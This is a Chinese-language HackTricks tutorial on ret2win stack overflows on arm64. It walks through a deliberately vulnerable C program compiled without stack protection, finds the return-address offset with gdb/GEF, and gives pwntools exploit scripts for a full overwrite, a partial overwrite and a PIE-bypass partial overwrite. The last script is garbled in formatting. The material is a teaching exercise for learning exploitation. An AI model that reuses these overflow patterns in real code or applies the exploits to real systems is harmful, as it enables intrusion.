> For the complete documentation index, see [llms.txt](https://hacktricks.xsx.tw/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacktricks.xsx.tw/binary-exploitation/stack-overflow/ret2win/ret2win-arm64.md).

# Ret2win - arm64

## Ret2win - arm64

<details>

<summary><strong>从零开始学习AWS黑客技术</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS红队专家）</strong></a><strong>！</strong></summary>

其他支持HackTricks的方式：

* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>

在以下位置找到arm64的介绍：

{% content-ref url="/pages/9xyQvIb3WYv4XpLvSgct" %}
[Introduction to ARM64v8](/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md)
{% endcontent-ref %}

### 代码

```c
#include <stdio.h>
#include <unistd.h>

void win() {
printf("Congratulations!\n");
}

void vulnerable_function() {
char buffer[64];
read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability
}

int main() {
vulnerable_function();
return 0;
}
```

编译时禁用 PIE 和 Canary：

```bash
clang -o ret2win ret2win.c -fno-stack-protector -Wno-format-security -no-pie
```

### 寻找偏移量

#### 使用模式选项

这个示例是使用[**GEF**](https://github.com/bata24/gef)创建的：

使用GEF启动gdb，创建模式并使用它：

```bash
gdb -q ./ret2win
pattern create 200
run
```

<figure><img src="/files/vTlLCFKUEbszRyA6IRM3" alt=""><figcaption></figcaption></figure>

arm64 会尝试返回到寄存器 x30 中的地址（已被破坏），我们可以利用这一点来找到模式偏移量：

```bash
pattern search $x30
```

<figure><img src="/files/Hi8Xldqj1gibjkeavpZO" alt=""><figcaption></figcaption></figure>

**偏移量为72（9x48）。**

#### 栈偏移选项

从获取存储pc寄存器的栈地址开始：

```bash
gdb -q ./ret2win
b *vulnerable_function + 0xc
run
info frame
```

<figure><img src="/files/U2emKfQnBu7hUG5HxAxf" alt=""><figcaption></figcaption></figure>

现在在`read()`之后设置一个断点，然后继续执行直到`read()`被执行，并设置一个模式，如13371337:

```
b *vulnerable_function+28
c
```

<figure><img src="/files/387Sy9tHi0wwze6lh89L" alt=""><figcaption></figcaption></figure>

找到内存中存储这个模式的位置：

<figure><img src="/files/Pm8pPiAnWLsQ9TywAiih" alt=""><figcaption></figcaption></figure>

然后：**`0xfffffffff148 - 0xfffffffff100 = 0x48 = 72`**

<figure><img src="/files/cKoR8pVj5RG5uhiR5TuG" alt="" width="339"><figcaption></figcaption></figure>

### 无PIE

#### 常规

获取\*\*`win`\*\*函数的地址：

```bash
objdump -d ret2win | grep win
ret2win:     file format elf64-littleaarch64
00000000004006c4 <win>:
```

利用：

```python
from pwn import *

# Configuration
binary_name = './ret2win'
p = process(binary_name)

# Prepare the payload
offset = 72
ret2win_addr = p64(0x00000000004006c4)
payload = b'A' * offset + ret2win_addr

# Send the payload
p.send(payload)

# Check response
print(p.recvline())
p.close()
```

<figure><img src="/files/EEAvhN7GVgjvZ21bMEql" alt="" width="375"><figcaption></figcaption></figure>

#### Off-by-1

实际上，这更像是在堆栈中存储的PC上的 off-by-2。我们不是覆盖所有的返回地址，而是仅使用 `0x06c4` 覆盖**最后2个字节**。

```python
from pwn import *

# Configuration
binary_name = './ret2win'
p = process(binary_name)

# Prepare the payload
offset = 72
ret2win_addr = p16(0x06c4)
payload = b'A' * offset + ret2win_addr

# Send the payload
p.send(payload)

# Check response
print(p.recvline())
p.close()
```

<figure><img src="/files/b9SqgbuJ0r7IA8kPat7B" alt="" width="375"><figcaption></figcaption></figure>

在<https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/>中，您可以找到ARM64中的另一个一位偏移示例，这是一个虚构漏洞中的真实一位偏移。

### 使用PIE

{% hint style="success" %}
编译二进制文件**时不要使用`-no-pie`参数**
{% endhint %}

#### 二位偏移

没有泄漏，我们不知道获胜函数的确切地址，但我们可以知道函数与二进制文件的偏移，并且知道我们正在覆盖的返回地址已经指向一个接近的地址，因此可以泄漏到获胜函数的偏移（**0x7d4**），在这种情况下只需使用该偏移量：

<figure><img src="/files/DAjqKxa6sXgdnp3OJkcT" alt="" width="563"><figcaption></figcaption></figure>

\`\`\`python from pwn import \*

## Configuration

binary\_name = './ret2win' p = process(binary\_name)

## Prepare the payload

offset = 72 ret2win\_addr = p16(0x07d4) payload = b'A' \* offset + ret2win\_addr

## Send the payload

p.send(payload)

## Check response

print(p.recvline()) p.close()

```
<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS红队专家）</strong></a><strong>！</strong></summary>

其他支持HackTricks的方式：

* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>
```
